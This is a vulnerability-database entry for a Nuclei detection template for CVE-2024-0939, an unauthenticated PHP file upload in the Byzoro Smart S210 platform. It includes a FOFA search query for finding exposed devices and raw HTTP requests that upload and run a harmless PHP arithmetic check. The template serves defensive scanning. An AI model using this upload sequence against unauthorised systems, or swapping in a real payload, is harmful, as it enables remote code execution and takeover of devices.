CVE-2024-0939: Smart S210 Management Platform - Arbitary File Upload
- Template: CVE-2024-0939
- Name: Smart S210 Management Platform - Arbitary File Upload
- Description: A vulnerability has been found in Byzoro Smart S210 Management Platform up to 20240117 and classified as critical. This vulnerability affects unknown code of the file /Tool/uploadfile.php. The manipulation of the argument file_upload leads to unrestricted upload.
- Impact: Unauthenticated attackers can upload arbitrary PHP files through the uploadfile.php component and execute malicious code on the server, potentially compromising the entire Smart S210 management platform and connected IoT devices.
- Remediation: Update Byzoro Smart S210 firmware to a version newer than 20240117 that validates file types, restricts executable uploads, and implements proper access controls on the upload functionality.
- Severity: critical
- Authors: DhiyaneshDk
- Tags: cve, cve2024, smart, file-upload, intrusive, rce, vuln
- References: https://nvd.nist.gov/vuln/detail/CVE-2024-0939, https://vuldb.com/?ctiid.252184, https://vuldb.com/?id.252184, https://vuldb.com/?submit.269268, https://github.com/tanjiti/sec_profile
- Cves: CVE-2024-0939
- Verified: yes
- Max requests: 1
- Directory: http/cves
- Path: http/cves/2024/CVE-2024-0939.yaml
- Digest: 4a0a004730450220053653ec5120a18adbbec62aee83a0a16d907b704bbbe069dbede8cf05b64a3b022100efdd38473dafb427be064ce0e2ca147fbce21fb41e52093924716b6d1a1a4c57
- Created at: 2024-06-18T17:23:51Z
- Updated at: 2026-11-21T02:03:58Z
- Age in days: 889
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2024/CVE-2024-0939.yaml
Classification
- Cwe: CWE-434
- Cvss score: 9.8
- Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Epss score: 0.43777
- Epss percentile: 0.98775
- Cpe: cpe:2.3:o:byzoro:smart_s210_firmware:*:*:*:*:*:*:*:*
Metadata
- Fofa-query: body="Smart管理平台"
- Max-request: 1
- Product: smart_s210_firmware
- Vendor: byzoro
- Verified: yes
Products
| Product | Indexed | Url |
|---|---|---|
| byzoro:smart_s210_firmware | yes | /v1/products/byzoro/smart_s210_firmware |
Labels
- Name: Byzoro Smart S210 - Unrestricted File Upload
- Impact: Attackers can upload malicious files, potentially leading to remote code execution or full system compromise.
- Remediation: Apply the latest security patches or update to the latest version of the platform.
- Vulnerability type: unrestricted_file_upload
- Vulnerability impact: remote_code_execution
- Requirement type: none
- Labels source: projectdiscovery
- From cve: CVE-2024-0939
- Not known: requirements
```yaml
id: CVE-2024-0939
info:
name: Smart S210 Management Platform - Arbitary File Upload
author: DhiyaneshDk
severity: critical
description: |
A vulnerability has been found in Byzoro Smart S210 Management Platform up to 20240117 and classified as critical. This vulnerability affects unknown code of the file /Tool/uploadfile.php. The manipulation of the argument file_upload leads to unrestricted upload.
impact: |
Unauthenticated attackers can upload arbitrary PHP files through the uploadfile.php component and execute malicious code on the server, potentially compromising the entire Smart S210 management platform and connected IoT devices.
remediation: |
Update Byzoro Smart S210 firmware to a version newer than 20240117 that validates file types, restricts executable uploads, and implements proper access controls on the upload functionality.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2024-0939
- https://vuldb.com/?ctiid.252184
- https://vuldb.com/?id.252184
- https://vuldb.com/?submit.269268
- https://github.com/tanjiti/sec_profile
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2024-0939
cwe-id: CWE-434
epss-score: 0.43777
epss-percentile: 0.98775
cpe: cpe:2.3:o:byzoro:smart_s210_firmware:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: byzoro
product: smart_s210_firmware
fofa-query: body="Smart管理平台"
tags: cve,cve2024,smart,file-upload,intrusive,rce,vuln
variables:
filename: "{{to_lower(rand_text_alpha(5))}}"
num1: "{{rand_int(800000, 999999)}}"
num2: "{{rand_int(800000, 999999)}}"
result: "{{to_number(num1)*to_number(num2)}}"
http:
- raw:
- |
POST /Tool/uploadfile.php HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywnsogfin
Accept-Encoding: gzip, deflate, br
------WebKitFormBoundarywnsogfin
Content-Disposition: form-data; name="file_upload"; filename="contents.php"
Content-Type: application/octet-stream
<?php print({{num1}}*{{num2}}); ?>
------WebKitFormBoundarywnsogfin
Content-Disposition: form-data; name="txt_path"
/home/{{filename}}.php
------WebKitFormBoundarywnsogfin--
- |
GET /home/{{filename}}.php HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body_2
words:
- '{{result}}'
- type: status
status:
- 200
digest: 4a0a004730450220053653ec5120a18adbbec62aee83a0a16d907b704bbbe069dbede8cf05b64a3b022100efdd38473dafb427be064ce0e2ca147fbce21fb41e52093924716b6d1a1a4c57:922c64590222798bb761d5b6d8e72950
```